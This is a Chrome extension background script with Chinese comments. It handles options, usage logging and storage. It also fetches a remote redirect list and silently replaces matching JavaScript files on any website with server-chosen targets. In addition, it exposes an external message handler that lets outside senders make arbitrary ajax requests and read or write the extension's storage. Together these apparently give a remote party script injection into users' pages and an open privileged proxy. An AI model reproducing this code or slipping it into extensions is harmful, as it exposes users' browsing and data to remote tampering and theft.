/* 检查是否更新 */
(function checkUpdate() {
    var currVersion = getVersionInManifest();
    var prevVersion = get('version');

    set('version', currVersion);
    if (currVersion != prevVersion) {

    } else {
        
    }
})();

chrome.extension.onRequest.addListener(function (request, sender, sendResponse) {
    switch (request.type) {
        case 'setOptions':
            set('runner_jsOptions', request.optionstr);
            break;
        case 'sendUpdateLog':
            sendLog(["action=" + request.logType, "type=ARMANI_EXTENSION_POPUP"]);
            break;
        case 'getOptions':
            var optstr = get('runner_jsOptions'), conf = get('conf');
            !conf ? conf = "{}" : true;
            conf = JSON.parse(conf);
            conf.chrome = {
                runtime: {
                    id: chrome.runtime.id
                }
            }
            sendResponse({
                "optionstr": optstr,
                "conf": JSON.stringify(conf),
                "isShowUpdateTip": false,
                "like": get('like.enable')
            });
            break;
        case 'getTodayMsgs':
            sendResponse({data: get("push.msg")});
        case 'refreshFeed':
            checkPushMsgs(true);
        case 'isshow':
            sendResponse({isshow: true});
            break;
        case 'reffer':
            if (rre) {
                var isSet = rre.test(request.url);
                isSet && setReffer(request.reffer, request.url);
                sendResponse({isSetReffer: isSet});
            }
            break;
        case 'localStorage':
            if (request.data != undefined && request.data.name != undefined && request.data.value != undefined)
                set(request.data.name, request.data.value);

            sendResponse({
                key:request.data.name,
                value: get(request.data.name)
            });
            break;
        case 'removeLocalStorage':
            if (request.data === undefined || request.data.name === undefined){
                sendResponse(false);
                break;
            }
            remove(request.data.name);
            sendResponse(true);
            break;
        default:
            break;
    }
});

$.get(Runner.redirect_url+'?_v='+Math.floor(new Date().getTime() / 1000),function (data) {
    var redirect_urls = data.redirect_url;
    chrome.webRequest.onBeforeRequest.addListener(function(details) {
        for (var i=0; i< redirect_urls.length; i++){
            if (details.url == redirect_urls[i].source){
                return {redirectUrl: redirect_urls[i].target };
            }
        }
    }, {urls: ["*://*/*.js"]}, ["blocking"]);
});

chrome.runtime.onMessageExternal.addListener(function (request, sender, sendResponse) {
    switch(request.type){
        case 'ajax':
            request.param.success = function (data, textStatus, jqXHR) {
                sendResponse({
                    data:data,
                    textStatus:textStatus,
                    jqXHR:jqXHR
                });
            }
            request.param.error = function (XMLHttpRequest, textStatus, errorThrown) {
                sendResponse({
                    XMLHttpRequest:XMLHttpRequest,
                    textStatus:textStatus,
                    errorThrown:errorThrown
                });
            }
            request.param.async = false;
            $.ajax(request.param);
            break;
        case 'localStorage':
            if (request.data === undefined){
                sendResponse({
                    name:undefined,
                    vallue:undefined
                });
                break;
            }

            if (request.data != undefined && request.data.value !== undefined && request.data.name !== undefined)
                set(request.data.name,request.data.value);

            sendResponse({
                name:request.data.name,
                value:get(request.data.name)
            });
            break;
        default:
            break;
    }
});

function get(key) {
    return localStorage[key];
}

function set(key, val) {
    localStorage[key] = val;
}

function remove(key) {
    localStorage.removeItem(key);
}

function getVersionInManifest() {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', chrome.extension.getURL('manifest.json'), false);
    xhr.send(null);
    var manifest = JSON.parse(xhr.responseText);
    return manifest.version;
}